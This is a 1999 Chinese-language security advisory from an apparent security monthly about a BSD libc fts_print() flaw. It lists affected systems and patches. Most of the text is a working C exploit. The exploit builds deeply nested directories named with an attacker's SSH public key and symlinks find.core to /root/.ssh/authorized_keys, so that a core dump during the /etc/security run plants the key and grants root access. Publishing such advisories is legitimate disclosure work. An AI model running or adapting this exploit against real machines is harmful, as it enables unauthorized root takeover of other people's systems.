首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第1期->最新漏洞
期刊号: 类型: 关键词:
一个fts_print()的漏洞允许覆盖系统中的某些文件

整理:solo
日期:1999-09-15

下面的Bug的主要作俑者是BSD的libc库,更精确点,是fts.c.
这个bug可以产生堆栈溢出来覆盖现有的文件。

文章详细资料

下面是测试这个漏洞的代码:
/*

当运行/etc/security script的时候,fts_print函数的漏洞允许覆写系统中的某些文件

受影响的系统:  - freebsd (所有的版本)
                - openbsd/netbsd (可能)

补丁:
- 限制 root 的coredump大小
- 修补 libc

*/

#include <stdio.h>
#include <errno.h>
#include <sys/stat.h>
#include <strings.h>
#include <unistd.h>

#define STRING "\nYOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!\n"
#define FILE "/root/.ssh/authorized_keys"
#define CORE "find.core"
#define DEPTH 300
#define BUFSIZE 250

int makedir(dir, linkfrom, linkto)
char *dir, *linkfrom, *linkto;
{

if (mkdir(dir, (S_IRWXU | S_IRWXG | S_IRWXO)))
return -1;

if (chdir(dir))
return -1;

if (symlink(linkfrom, linkto) < 0)
return -1;

return 0;
}


int main(argc, argv)
int argc;
char **argv;
{
int i = 0;
char pid[10], buf[BUFSIZE];

sprintf(pid, "%d", getpid());

if (mkdir(pid, (S_IRWXU | S_IRWXG | S_IRWXO)))
{
perror("mkdir()");
return -1;
}

if (chdir(pid))
{
perror("chdir()");
return -1;
}

bzero(buf, BUFSIZE);
memset(buf, 0x41, BUFSIZE-1);

for(i=0;i<DEPTH;i++)
{
if (makedir(STRING, FILE, CORE) < 0)
{
perror("makedir()");
return -1;
}

if(makedir(buf, FILE, CORE) < 0)
{
perror("makedir()");
return -1;
}
}

return 0;
}

版权所有,未经许可,不得转载